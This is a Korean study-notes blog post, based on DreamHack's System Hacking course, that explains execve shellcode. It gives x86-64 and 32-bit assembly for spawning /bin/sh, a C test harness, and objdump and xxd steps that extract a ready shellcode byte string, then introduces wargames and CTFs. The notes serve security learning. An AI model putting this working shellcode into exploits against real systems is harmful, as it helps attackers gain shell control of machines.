Security/System Hacking

System Hacking: Shellcode - 2

arsenic-dev 2025. 2. 1. 15:59

DreamHack의 System Hacking 로드맵을 기반으로 정리한 글입니다.

Exploit Tech: 2. execve Shellcode

▶ 리눅스 계층

 

셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

 

execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다. 또한, 다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.

 

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있다.

▶ 리눅스 bash

execve 셸코드 작성

execve 셸코드는 execve 시스템콜만으로 구성된다.

syscall
rax
arg0 (rdi)
arg1 (rsi)
arg2 (rdx)
execve
0x3b
const char *filename
const char *const *argv
const char *const *envp

 

여기서 argv는 실행파일에 넘겨 줄 인자, envp는 환경변수이다. 이때 sh만 실행할 것이면 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행 프로그램들이 /bin/디렉토리에 저장되어 있으며, 실행할 sh도 여기에 저장되어 있다.

 

따라서 execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 된다. 

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

execve 셸코드 컴파일 및 실행

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

▶ 셸코드를 채운 스켈레톤 코드 (execve 셸코드 예제)

bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

▶ 위 코드를 컴파일하고 실행한 결과

 

실행 결과로 sh가 성공적으로 실행된 것을 확인할 수 있다.

 

※ execve 셸코드를 디버깅하는 것은 orw 셸코드와 동일하다.

objdump를 이용한 shellcode 추출

아래 주어진 shellcode.asm shellcod를 byte code(opcod) 형태로 추출할 수 있다.

; File name: shellcode.asm

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

▶ 어셈블리 코드 - shellcode.asm

 

아래와 같이 리눅스 명령어를 입력하면 오브젝트 파일인 shellcode.o를 얻을 수 있다.

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80

▶ step1 - shellcode.o

 

그 다음, objcopy 명령어를 이용하면 shellcode.bin 파일을 얻을 수 있다. 그리고 xxd 명령어로 shellcode.bin 파일 내용의 바이트 값들을 16진수 형태로 확인할 수 있다.

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....

▶ step2 - shellcode.bin

 

위 xxd 출력 결과에서 바이트 값들을 추출하면 아래와 같이 바이트 코드 형태의 셸코드를 만들 수 있다.

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

▶ shellcode string

cf. Wargame

워게임은 의도적으로 취약점이 존재하도록 설계된 모의 해킹 환경으로, 제작자가 설계한 취약점을 찾아내고, 그것을 이해하고, 해결책을 찾아내는 과정을 거쳐 '플래그'를 찾아내는 문제이다. 이 때문에 워게임을 '푼다'고 표현한다.

 

흔히 볼 수 있는 해킹 방어 대회의 일반적인 형식은 CTF, 즉 Capture THe Flag이다. 이는 공격 대상인 시스템에 존재하는 파일을 'Flag'라고 칭하며, 이 파일의 내용이 공격자가 제출해야 하는 답안이 된다.

 

드램핵에서 사용하는 플래그는 보통 DH{ } 형식의 중괄호 사이에 보통 해시값(숫자와 abcdef로 이루어져 있는)이 들어있는 형태를 플래그로 사용하지만, 여기에는 문제 출제자가 하고 싶은 말이 들어갈 수도 있고, 때로는 예상치 못한 형태일 수도 있다.

 

문제 풀이 단계

1. 주어진 문제가 어떤 프로그램/서비스인지 이해한다.

2. 취약점(또는 이상한 부분)이 무엇인지 파악한다.

3. 찾은 취약점을 어떻게 공략/공격하면 될지 구상한다.

4. 풀이에 필요한 코드나 페이로드를 작성한다.

📌 Wargame: shell_basic